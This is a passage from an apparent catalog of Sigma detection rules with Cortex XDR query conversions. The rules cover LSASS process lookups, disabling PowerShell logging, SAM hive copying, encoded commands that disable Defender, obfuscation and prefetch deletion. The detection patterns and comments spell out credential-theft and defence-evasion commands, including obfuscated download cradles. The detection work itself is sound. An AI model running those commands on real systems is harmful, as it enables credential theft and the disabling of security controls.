modified: 2023-01-05
tags:
    - attack.credential-access
    - attack.t1552.004
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            # You can add more permutation as you see fit
            - 'Get-Process lsas'
            - 'ps lsas'
            - 'gps lsas'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Strong Medium FP
PowerShell Logging Disabled Via Registry Key Tampering
Detects changes to the registry for the currently logged-in user. In order to disable PowerShell module logging, script block logging or transcription and script execution logging
status test author frack113 ATT&CK sub-technique id fecfd1a1-cc78-4313-a1ea-2ee2e8ec27a7
cortex_xdr query
config case_sensitive = false | preset=xdr_registry | filter (event_type = ENUM.REGISTRY and 
 event_sub_type = ENUM.REGISTRY_SET_VALUE) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 ((action_registry_key_name in ("*\Microsoft\Windows\PowerShell\*", "*\Microsoft\PowerShellCore\*")) and 
 (action_registry_key_name in ("*\ModuleLogging\EnableModuleLogging", "*\ScriptBlockLogging\EnableScriptBlockLogging", "*\ScriptBlockLogging\EnableScriptBlockInvocationLogging", "*\Transcription\EnableTranscripting", "*\Transcription\EnableInvocationHeader", "*\EnableScripts")) and 
 (action_registry_value_name = "DWORD (0x00000000)" or 
 action_registry_data = "DWORD (0x00000000)")))
view Sigma YAML
title: PowerShell Logging Disabled Via Registry Key Tampering
id: fecfd1a1-cc78-4313-a1ea-2ee2e8ec27a7
status: test
description: Detects changes to the registry for the currently logged-in user. In order to disable PowerShell module logging, script block logging or transcription and script execution logging
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-32---windows-powershell-logging-disabled
author: frack113
date: 2022-04-02
modified: 2023-08-17
tags:
    - attack.stealth
    - attack.defense-impairment
    - attack.t1564.001
    - attack.t1112
    - attack.persistence
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|contains:
            - '\Microsoft\Windows\PowerShell\' # PowerShell 5
            - '\Microsoft\PowerShellCore\' # PowerShell 7
        TargetObject|endswith:
            - '\ModuleLogging\EnableModuleLogging'
            - '\ScriptBlockLogging\EnableScriptBlockLogging'
            - '\ScriptBlockLogging\EnableScriptBlockInvocationLogging'
            - '\Transcription\EnableTranscripting'
            - '\Transcription\EnableInvocationHeader'
            - '\EnableScripts'
        Details: 'DWORD (0x00000000)'
    condition: selection
falsepositives:
    - Unknown
level: high
regression_tests_path: regression_data/rules/windows/registry/registry_set/registry_set_powershell_logging_disabled/info.yml
simulation:
    - type: atomic-red-team
      name: Disable PowerShell Logging via Registry
      technique: T1112
      atomic_guid: 95b25212-91a7-42ff-9613-124aca6845a8
Convert to SIEM query
high Strong High FP
PowerShell SAM Copy
Detects suspicious PowerShell scripts accessing SAM hives
status test author Florian Roth (Nextron Systems) ATT&CK sub-technique id 1af57a4b-460a-4738-9034-db68b880c665
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 ((action_process_image_command_line contains "\HarddiskVolumeShadowCopy" and 
 action_process_image_command_line contains "System32\config\sam") and 
 (action_process_image_command_line in ("*Copy-Item*", "*cp $_.*", "*cpi $_.*", "*copy $_.*", "*.File]::Copy(*"))))
view Sigma YAML
title: PowerShell SAM Copy
id: 1af57a4b-460a-4738-9034-db68b880c665
status: test
description: Detects suspicious PowerShell scripts accessing SAM hives
references:
    - https://twitter.com/splinter_code/status/1420546784250769408
author: Florian Roth (Nextron Systems)
date: 2021-07-29
modified: 2023-01-06
tags:
    - attack.credential-access
    - attack.t1003.002
logsource:
    category: process_creation
    product: windows
detection:
    selection_1:
        CommandLine|contains|all:
            - '\HarddiskVolumeShadowCopy'
            - 'System32\config\sam'
    selection_2:
        CommandLine|contains:
            - 'Copy-Item'
            - 'cp $_.'
            - 'cpi $_.'
            - 'copy $_.'
            - '.File]::Copy('
    condition: all of selection*
falsepositives:
    - Some rare backup scenarios
    - PowerShell scripts fixing HiveNightmare / SeriousSAM ACLs
level: high
Convert to SIEM query
high Moderate High FP
PowerShell as a Service in Registry
Detects that a powershell code is written to the registry as a service.
status test author oscd.community, Natalia Shornikova ATT&CK sub-technique id 4a5f5a5e-ac01-474b-9b4e-d61298c9df1d
cortex_xdr query
config case_sensitive = false | preset=xdr_registry | filter (event_type = ENUM.REGISTRY and 
 event_sub_type = ENUM.REGISTRY_SET_VALUE) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 (action_registry_key_name contains "\Services\" and 
 action_registry_key_name contains "\ImagePath" and 
 ((action_registry_value_name in ("*powershell*", "*pwsh*")) or 
 (action_registry_data in ("*powershell*", "*pwsh*")))))
view Sigma YAML
title: PowerShell as a Service in Registry
id: 4a5f5a5e-ac01-474b-9b4e-d61298c9df1d
status: test
description: Detects that a powershell code is written to the registry as a service.
references:
    - https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse
author: oscd.community, Natalia Shornikova
date: 2020-10-06
modified: 2023-08-17
tags:
    - attack.execution
    - attack.t1569.002
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|contains: '\Services\'
        TargetObject|endswith: '\ImagePath'
        Details|contains:
            - 'powershell'
            - 'pwsh'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate High FP
Powershell Base64 Encoded MpPreference Cmdlet
Detects base64 encoded "MpPreference" PowerShell cmdlet code that tries to modifies or tamper with Windows Defender AV
status test author Florian Roth (Nextron Systems) ATT&CK technique id c6fb44c6-71f5-49e6-9462-1425d328aee3
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 ((action_process_image_command_line contains "QWRkLU1wUHJlZmVyZW5jZS" or 
 action_process_image_command_line contains "FkZC1NcFByZWZlcmVuY2Ug" or 
 action_process_image_command_line contains "BZGQtTXBQcmVmZXJlbmNlI" or 
 action_process_image_command_line contains "U2V0LU1wUHJlZmVyZW5jZS" or 
 action_process_image_command_line contains "NldC1NcFByZWZlcmVuY2Ug" or 
 action_process_image_command_line contains "TZXQtTXBQcmVmZXJlbmNlI" or 
 action_process_image_command_line contains "YWRkLW1wcHJlZmVyZW5jZS" or 
 action_process_image_command_line contains "FkZC1tcHByZWZlcmVuY2Ug" or 
 action_process_image_command_line contains "hZGQtbXBwcmVmZXJlbmNlI" or 
 action_process_image_command_line contains "c2V0LW1wcHJlZmVyZW5jZS" or 
 action_process_image_command_line contains "NldC1tcHByZWZlcmVuY2Ug" or 
 action_process_image_command_line contains "zZXQtbXBwcmVmZXJlbmNlI") or 
 (action_process_image_command_line in ("*QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgA*", "*EAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIA*", "*BAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAA*", "*UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgA*", "*MAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIA*", "*TAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAA*", "*YQBkAGQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgA*", "*EAZABkAC0AbQBwAHAAcgBlAGYAZQByAGUAbgBjAGUAIA*", "*hAGQAZAAtAG0AcABwAHIAZQBmAGUAcgBlAG4AYwBlACAA*", "*cwBlAHQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgA*", "*MAZQB0AC0AbQBwAHAAcgBlAGYAZQByAGUAbgBjAGUAIA*", "*zAGUAdAAtAG0AcABwAHIAZQBmAGUAcgBlAG4AYwBlACAA*"))))
view Sigma YAML
title: Powershell Base64 Encoded MpPreference Cmdlet
id: c6fb44c6-71f5-49e6-9462-1425d328aee3
status: test
description: Detects base64 encoded "MpPreference" PowerShell cmdlet code that tries to modifies or tamper with Windows Defender AV
references:
    - https://learn.microsoft.com/en-us/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
    - https://twitter.com/AdamTheAnalyst/status/1483497517119590403
author: Florian Roth (Nextron Systems)
date: 2022-03-04
modified: 2023-01-30
tags:
    - attack.defense-impairment
    - attack.t1685
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        - CommandLine|base64offset|contains:
              - 'Add-MpPreference '
              - 'Set-MpPreference '
              - 'add-mppreference '
              - 'set-mppreference '
        - CommandLine|contains:
              # UTF16-LE
              - 'QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgA'
              - 'EAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIA'
              - 'BAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAA'
              - 'UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgA'
              - 'MAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIA'
              - 'TAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAA'
              - 'YQBkAGQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgA'
              - 'EAZABkAC0AbQBwAHAAcgBlAGYAZQByAGUAbgBjAGUAIA'
              - 'hAGQAZAAtAG0AcABwAHIAZQBmAGUAcgBlAG4AYwBlACAA'
              - 'cwBlAHQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgA'
              - 'MAZQB0AC0AbQBwAHAAcgBlAGYAZQByAGUAbgBjAGUAIA'
              - 'zAGUAdAAtAG0AcABwAHIAZQBmAGUAcgBlAG4AYwBlACAA'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Strong Medium FP
Powershell Defender Disable Scan Feature
Detects requests to disable Microsoft Defender features using PowerShell commands
status test author Florian Roth (Nextron Systems) ATT&CK technique id 1ec65a5f-9473-4f12-97da-622044d6df21
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 (((action_process_image_command_line in ("*Add-MpPreference *", "*Set-MpPreference *")) and 
 (action_process_image_command_line in ("*DisableArchiveScanning *", "*DisableRealtimeMonitoring *", "*DisableIOAVProtection *", "*DisableBehaviorMonitoring *", "*DisableBlockAtFirstSeen *", "*DisableCatchupFullScan *", "*DisableCatchupQuickScan *")) and 
 (action_process_image_command_line in ("*$true*", "* 1 *"))) or 
 ((action_process_image_command_line contains "ZGlzYWJsZWFyY2hpdmVzY2FubmluZy" or 
 action_process_image_command_line contains "Rpc2FibGVhcmNoaXZlc2Nhbm5pbmcg" or 
 action_process_image_command_line contains "kaXNhYmxlYXJjaGl2ZXNjYW5uaW5nI" or 
 action_process_image_command_line contains "RGlzYWJsZUFyY2hpdmVTY2FubmluZy" or 
 action_process_image_command_line contains "Rpc2FibGVBcmNoaXZlU2Nhbm5pbmcg" or 
 action_process_image_command_line contains "EaXNhYmxlQXJjaGl2ZVNjYW5uaW5nI" or 
 action_process_image_command_line contains "ZGlzYWJsZWJlaGF2aW9ybW9uaXRvcmluZy" or 
 action_process_image_command_line contains "Rpc2FibGViZWhhdmlvcm1vbml0b3Jpbmcg" or 
 action_process_image_command_line contains "kaXNhYmxlYmVoYXZpb3Jtb25pdG9yaW5nI" or 
 action_process_image_command_line contains "RGlzYWJsZUJlaGF2aW9yTW9uaXRvcmluZy" or 
 action_process_image_command_line contains "Rpc2FibGVCZWhhdmlvck1vbml0b3Jpbmcg" or 
 action_process_image_command_line contains "EaXNhYmxlQmVoYXZpb3JNb25pdG9yaW5nI" or 
 action_process_image_command_line contains "ZGlzYWJsZWJsb2NrYXRmaXJzdHNlZW4g" or 
 action_process_image_command_line contains "Rpc2FibGVibG9ja2F0Zmlyc3RzZWVuI" or 
 action_process_image_command_line contains "kaXNhYmxlYmxvY2thdGZpcnN0c2Vlbi" or 
 action_process_image_command_line contains "RGlzYWJsZUJsb2NrQXRGaXJzdFNlZW4g" or 
 action_process_image_command_line contains "Rpc2FibGVCbG9ja0F0Rmlyc3RTZWVuI" or 
 action_process_image_command_line contains "EaXNhYmxlQmxvY2tBdEZpcnN0U2Vlbi" or 
 action_process_image_command_line contains "ZGlzYWJsZWNhdGNodXBmdWxsc2Nhbi" or 
 action_process_image_command_line contains "Rpc2FibGVjYXRjaHVwZnVsbHNjYW4g" or 
 action_process_image_command_line contains "kaXNhYmxlY2F0Y2h1cGZ1bGxzY2FuI" or 
 action_process_image_command_line contains "RGlzYWJsZUNhdGNodXBGdWxsU2Nhbi" or 
 action_process_image_command_line contains "Rpc2FibGVDYXRjaHVwRnVsbFNjYW4g" or 
 action_process_image_command_line contains "EaXNhYmxlQ2F0Y2h1cEZ1bGxTY2FuI" or 
 action_process_image_command_line contains "ZGlzYWJsZWNhdGNodXBxdWlja3NjYW4g" or 
 action_process_image_command_line contains "Rpc2FibGVjYXRjaHVwcXVpY2tzY2FuI" or 
 action_process_image_command_line contains "kaXNhYmxlY2F0Y2h1cHF1aWNrc2Nhbi" or 
 action_process_image_command_line contains "RGlzYWJsZUNhdGNodXBRdWlja1NjYW4g" or 
 action_process_image_command_line contains "Rpc2FibGVDYXRjaHVwUXVpY2tTY2FuI" or 
 action_process_image_command_line contains "EaXNhYmxlQ2F0Y2h1cFF1aWNrU2Nhbi" or 
 action_process_image_command_line contains "ZGlzYWJsZWlvYXZwcm90ZWN0aW9uI" or 
 action_process_image_command_line contains "Rpc2FibGVpb2F2cHJvdGVjdGlvbi" or 
 action_process_image_command_line contains "kaXNhYmxlaW9hdnByb3RlY3Rpb24g" or 
 action_process_image_command_line contains "RGlzYWJsZUlPQVZQcm90ZWN0aW9uI" or 
 action_process_image_command_line contains "Rpc2FibGVJT0FWUHJvdGVjdGlvbi" or 
 action_process_image_command_line contains "EaXNhYmxlSU9BVlByb3RlY3Rpb24g" or 
 action_process_image_command_line contains "ZGlzYWJsZXJlYWx0aW1lbW9uaXRvcmluZy" or 
 action_process_image_command_line contains "Rpc2FibGVyZWFsdGltZW1vbml0b3Jpbmcg" or 
 action_process_image_command_line contains "kaXNhYmxlcmVhbHRpbWVtb25pdG9yaW5nI" or 
 action_process_image_command_line contains "RGlzYWJsZVJlYWx0aW1lTW9uaXRvcmluZy" or 
 action_process_image_command_line contains "Rpc2FibGVSZWFsdGltZU1vbml0b3Jpbmcg" or 
 action_process_image_command_line contains "EaXNhYmxlUmVhbHRpbWVNb25pdG9yaW5nI") or 
 (action_process_image_command_line in ("*RABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgA*", "*QAaQBzAGEAYgBsAGUAUgBlAGEAbAB0AGkAbQBlAE0AbwBuAGkAdABvAHIAaQBuAGcAIA*", "*EAGkAcwBhAGIAbABlAFIAZQBhAGwAdABpAG0AZQBNAG8AbgBpAHQAbwByAGkAbgBnACAA*", "*RABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIA*", "*QAaQBzAGEAYgBsAGUASQBPAEEAVgBQAHIAbwB0AGUAYwB0AGkAbwBuACAA*", "*EAGkAcwBhAGIAbABlAEkATwBBAFYAUAByAG8AdABlAGMAdABpAG8AbgAgA*", "*RABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgA*", "*QAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIA*", "*EAGkAcwBhAGIAbABlAEIAZQBoAGEAdgBpAG8AcgBNAG8AbgBpAHQAbwByAGkAbgBnACAA*", "*RABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAA*", "*QAaQBzAGEAYgBsAGUAQgBsAG8AYwBrAEEAdABGAGkAcgBzAHQAUwBlAGUAbgAgA*", "*EAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIA*", "*ZABpAHMAYQBiAGwAZQByAGUAYQBsAHQAaQBtAGUAbQBvAG4AaQB0AG8AcgBpAG4AZwAgA*", "*QAaQBzAGEAYgBsAGUAcgBlAGEAbAB0AGkAbQBlAG0AbwBuAGkAdABvAHIAaQBuAGcAIA*", "*kAGkAcwBhAGIAbABlAHIAZQBhAGwAdABpAG0AZQBtAG8AbgBpAHQAbwByAGkAbgBnACAA*", "*ZABpAHMAYQBiAGwAZQBpAG8AYQB2AHAAcgBvAHQAZQBjAHQAaQBvAG4AIA*", "*QAaQBzAGEAYgBsAGUAaQBvAGEAdgBwAHIAbwB0AGUAYwB0AGkAbwBuACAA*", "*kAGkAcwBhAGIAbABlAGkAbwBhAHYAcAByAG8AdABlAGMAdABpAG8AbgAgA*", "*ZABpAHMAYQBiAGwAZQBiAGUAaABhAHYAaQBvAHIAbQBvAG4AaQB0AG8AcgBpAG4AZwAgA*", "*QAaQBzAGEAYgBsAGUAYgBlAGgAYQB2AGkAbwByAG0AbwBuAGkAdABvAHIAaQBuAGcAIA*", "*kAGkAcwBhAGIAbABlAGIAZQBoAGEAdgBpAG8AcgBtAG8AbgBpAHQAbwByAGkAbgBnACAA*", "*ZABpAHMAYQBiAGwAZQBiAGwAbwBjAGsAYQB0AGYAaQByAHMAdABzAGUAZQBuACAA*", "*QAaQBzAGEAYgBsAGUAYgBsAG8AYwBrAGEAdABmAGkAcgBzAHQAcwBlAGUAbgAgA*", "*kAGkAcwBhAGIAbABlAGIAbABvAGMAawBhAHQAZgBpAHIAcwB0AHMAZQBlAG4AIA*", "*RABpAHMAYQBiAGwAZQBDAGEAdABjAGgAdQBwAEYAdQBsAGwAUwBjAGEAbgA*", "*RABpAHMAYQBiAGwAZQBDAGEAdABjAGgAdQBwAFEAdQBpAGMAawBTAGMAYQBuAA*", "*RABpAHMAYQBiAGwAZQBBAHIAYwBoAGkAdgBlAFMAYwBhAG4AbgBpAG4AZwA*")))))
view Sigma YAML
title: Powershell Defender Disable Scan Feature
id: 1ec65a5f-9473-4f12-97da-622044d6df21
status: test
description: Detects requests to disable Microsoft Defender features using PowerShell commands
references:
    - https://learn.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps
    - https://www.virustotal.com/gui/file/d609799091731d83d75ec5d1f030571af20c45efeeb94840b67ea09a3283ab65/behavior/C2AE
    - https://www.virustotal.com/gui/search/content%253A%2522Set-MpPreference%2520-Disable%2522/files
author: Florian Roth (Nextron Systems)
date: 2022-03-03
modified: 2024-01-02
tags:
    - attack.defense-impairment
    - attack.t1685
logsource:
    category: process_creation
    product: windows
detection:
    selection_cli_cmdlet:
        CommandLine|contains:
            - 'Add-MpPreference '
            - 'Set-MpPreference '
    selection_cli_option:
        CommandLine|contains:
            - 'DisableArchiveScanning '
            - 'DisableRealtimeMonitoring '
            - 'DisableIOAVProtection '
            - 'DisableBehaviorMonitoring '
            - 'DisableBlockAtFirstSeen '
            - 'DisableCatchupFullScan '
            - 'DisableCatchupQuickScan '
    selection_cli_value:
        CommandLine|contains:
            - '$true'
            - ' 1 '
    selection_encoded_modifier:
        CommandLine|base64offset|contains:
            # Note: Since this is calculating offsets casing is important
            - 'disablearchivescanning '
            - 'DisableArchiveScanning '
            - 'disablebehaviormonitoring '
            - 'DisableBehaviorMonitoring '
            - 'disableblockatfirstseen '
            - 'DisableBlockAtFirstSeen '
            - 'disablecatchupfullscan '
            - 'DisableCatchupFullScan '
            - 'disablecatchupquickscan '
            - 'DisableCatchupQuickScan '
            - 'disableioavprotection '
            - 'DisableIOAVProtection '
            - 'disablerealtimemonitoring '
            - 'DisableRealtimeMonitoring '
    selection_encoded_direct:
        CommandLine|contains:
            - 'RABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgA'
            - 'QAaQBzAGEAYgBsAGUAUgBlAGEAbAB0AGkAbQBlAE0AbwBuAGkAdABvAHIAaQBuAGcAIA'
            - 'EAGkAcwBhAGIAbABlAFIAZQBhAGwAdABpAG0AZQBNAG8AbgBpAHQAbwByAGkAbgBnACAA'
            - 'RABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIA'
            - 'QAaQBzAGEAYgBsAGUASQBPAEEAVgBQAHIAbwB0AGUAYwB0AGkAbwBuACAA'
            - 'EAGkAcwBhAGIAbABlAEkATwBBAFYAUAByAG8AdABlAGMAdABpAG8AbgAgA'
            - 'RABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgA'
            - 'QAaQBzAGEAYgBsAGUAQgBlAGgAYQB2AGkAbwByAE0AbwBuAGkAdABvAHIAaQBuAGcAIA'
            - 'EAGkAcwBhAGIAbABlAEIAZQBoAGEAdgBpAG8AcgBNAG8AbgBpAHQAbwByAGkAbgBnACAA'
            - 'RABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAA'
            - 'QAaQBzAGEAYgBsAGUAQgBsAG8AYwBrAEEAdABGAGkAcgBzAHQAUwBlAGUAbgAgA'
            - 'EAGkAcwBhAGIAbABlAEIAbABvAGMAawBBAHQARgBpAHIAcwB0AFMAZQBlAG4AIA'
            - 'ZABpAHMAYQBiAGwAZQByAGUAYQBsAHQAaQBtAGUAbQBvAG4AaQB0AG8AcgBpAG4AZwAgA'
            - 'QAaQBzAGEAYgBsAGUAcgBlAGEAbAB0AGkAbQBlAG0AbwBuAGkAdABvAHIAaQBuAGcAIA'
            - 'kAGkAcwBhAGIAbABlAHIAZQBhAGwAdABpAG0AZQBtAG8AbgBpAHQAbwByAGkAbgBnACAA'
            - 'ZABpAHMAYQBiAGwAZQBpAG8AYQB2AHAAcgBvAHQAZQBjAHQAaQBvAG4AIA'
            - 'QAaQBzAGEAYgBsAGUAaQBvAGEAdgBwAHIAbwB0AGUAYwB0AGkAbwBuACAA'
            - 'kAGkAcwBhAGIAbABlAGkAbwBhAHYAcAByAG8AdABlAGMAdABpAG8AbgAgA'
            - 'ZABpAHMAYQBiAGwAZQBiAGUAaABhAHYAaQBvAHIAbQBvAG4AaQB0AG8AcgBpAG4AZwAgA'
            - 'QAaQBzAGEAYgBsAGUAYgBlAGgAYQB2AGkAbwByAG0AbwBuAGkAdABvAHIAaQBuAGcAIA'
            - 'kAGkAcwBhAGIAbABlAGIAZQBoAGEAdgBpAG8AcgBtAG8AbgBpAHQAbwByAGkAbgBnACAA'
            - 'ZABpAHMAYQBiAGwAZQBiAGwAbwBjAGsAYQB0AGYAaQByAHMAdABzAGUAZQBuACAA'
            - 'QAaQBzAGEAYgBsAGUAYgBsAG8AYwBrAGEAdABmAGkAcgBzAHQAcwBlAGUAbgAgA'
            - 'kAGkAcwBhAGIAbABlAGIAbABvAGMAawBhAHQAZgBpAHIAcwB0AHMAZQBlAG4AIA'
            - 'RABpAHMAYQBiAGwAZQBDAGEAdABjAGgAdQBwAEYAdQBsAGwAUwBjAGEAbgA'
            - 'RABpAHMAYQBiAGwAZQBDAGEAdABjAGgAdQBwAFEAdQBpAGMAawBTAGMAYQBuAA'
            - 'RABpAHMAYQBiAGwAZQBBAHIAYwBoAGkAdgBlAFMAYwBhAG4AbgBpAG4AZwA'
    condition: all of selection_cli_* or 1 of selection_encoded_*
falsepositives:
    - Possible administrative activity
    - Other Cmdlets that may use the same parameters
level: high
Convert to SIEM query
high Moderate High FP
Powershell Token Obfuscation - Process Creation
Detects TOKEN OBFUSCATION technique from Invoke-Obfuscation
status test author frack113 ATT&CK sub-technique id deb9b646-a508-44ee-b7c9-d8965921c6b6
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 ((action_process_image_command_line ~= "\w+`(?:\w+|-|.)`[\w+|\s]" or 
 action_process_image_command_line ~= ""(?:\{\d\})+"\s*-f" or 
 action_process_image_command_line ~= "(?i)\$\{`?e`?n`?v`?:`?p`?a`?t`?h`?\}") and 
 (not 
 action_process_image_command_line contains "${env:path}")))
view Sigma YAML
title: Powershell Token Obfuscation - Process Creation
id: deb9b646-a508-44ee-b7c9-d8965921c6b6
related:
    - id: f3a98ce4-6164-4dd4-867c-4d83de7eca51
      type: similar
status: test
description: Detects TOKEN OBFUSCATION technique from Invoke-Obfuscation
references:
    - https://github.com/danielbohannon/Invoke-Obfuscation
author: frack113
date: 2022-12-27
modified: 2026-03-16
tags:
    - attack.stealth
    - attack.t1027.009
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        # Examples:
        #   IN`V`o`Ke-eXp`ResSIOn (Ne`W-ob`ject Net.WebClient).DownloadString
        #   &('In'+'voke-Expressi'+'o'+'n') (.('New-Ob'+'jec'+'t') Net.WebClient).DownloadString
        #   &("{2}{3}{0}{4}{1}"-f 'e','Expression','I','nvok','-') (&("{0}{1}{2}"-f'N','ew-O','bject') Net.WebClient).DownloadString
        - CommandLine|re: '\w+`(?:\w+|-|.)`[\w+|\s]'
        # - CommandLine|re: '\((\'(\w|-|\.)+\'\+)+\'(\w|-|\.)+\'\)' TODO: fixme
        - CommandLine|re: '"(?:\{\d\})+"\s*-f'
        #   ${e`Nv:pATh}
        - CommandLine|re: '(?i)\$\{`?e`?n`?v`?:`?p`?a`?t`?h`?\}'
    filter_main_envpath:
        CommandLine|contains: '${env:path}'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate Medium FP
Prefetch File Deleted
Detects the deletion of a prefetch file which may indicate an attempt to destroy forensic evidence
status test author Cedric MAURUGEON ATT&CK sub-technique id 0a1f9d29-6465-4776-b091-7f43b26e4c89
cortex_xdr query
config case_sensitive = false | preset=xdr_file | filter (event_type = ENUM.FILE and 
 event_sub_type = ENUM.FILE_REMOVE) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 ((action_file_name contains ":\Windows\Prefetch\" and 
 action_file_name contains ".pf") and 
 (not 
 (actor_process_image_path contains ":\windows\system32\svchost.exe" and 
 (actor_effective_username in ("*AUTHORI*", "*AUTORI*"))))))
view Sigma YAML
title: Prefetch File Deleted
id: 0a1f9d29-6465-4776-b091-7f43b26e4c89
status: test
description: Detects the deletion of a prefetch file which may indicate an attempt to destroy forensic evidence
references:
    - Internal Research
    - https://www.group-ib.com/blog/hunting-for-ttps-with-prefetch-files/
author: Cedric MAURUGEON
date: 2021-09-29
modified: 2024-01-25
tags:
    - attack.stealth
    - attack.t1070.004
logsource:
    product: windows
    category: file_delete
detection:
    selection:
        TargetFilename|contains: ':\Windows\Prefetch\'
        TargetFilename|endswith: '.pf'
    filter_main_svchost:
        Image|endswith: ':\windows\system32\svchost.exe'
        User|contains: # covers many language settings
            - 'AUTHORI'
            - 'AUTORI'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Moderate High FP
PrintBrm ZIP Creation of Extraction
Detects the execution of the LOLBIN PrintBrm.exe, which can be used to create or extract ZIP files. PrintBrm.exe should not be run on a normal workstation.
status test author frack113 ATT&CK sub-technique id cafeeba3-01da-4ab4-b6c4-a31b1d9730c7
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 (action_process_image_path contains "\PrintBrm.exe" and 
 (action_process_image_command_line contains " -f" and 
 action_process_image_command_line contains ".zip")))
view Sigma YAML
title: PrintBrm ZIP Creation of Extraction
id: cafeeba3-01da-4ab4-b6c4-a31b1d9730c7
status: test
description: Detects the execution of the LOLBIN PrintBrm.exe, which can be used to create or extract ZIP files. PrintBrm.exe should not be run on a normal workstation.
references:
    - https://lolbas-project.github.io/lolbas/Binaries/PrintBrm/
author: frack113
date: 2022-05-02
tags:
    - attack.command-and-control
    - attack.stealth
    - attack.t1105
    - attack.t1564.004
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        Image|endswith: '\PrintBrm.exe'
        CommandLine|contains|all:
            - ' -f'
            - '.zip'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Strong Medium FP
Process Execution From A Potentially Suspicious Folder
Detects a potentially suspicious execution from an uncommon folder.
status test author Florian Roth (Nextron Systems), Tim Shelton ATT&CK technique id 3dfd06d2-eaf4-4532-9555-68aca59f57c4
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
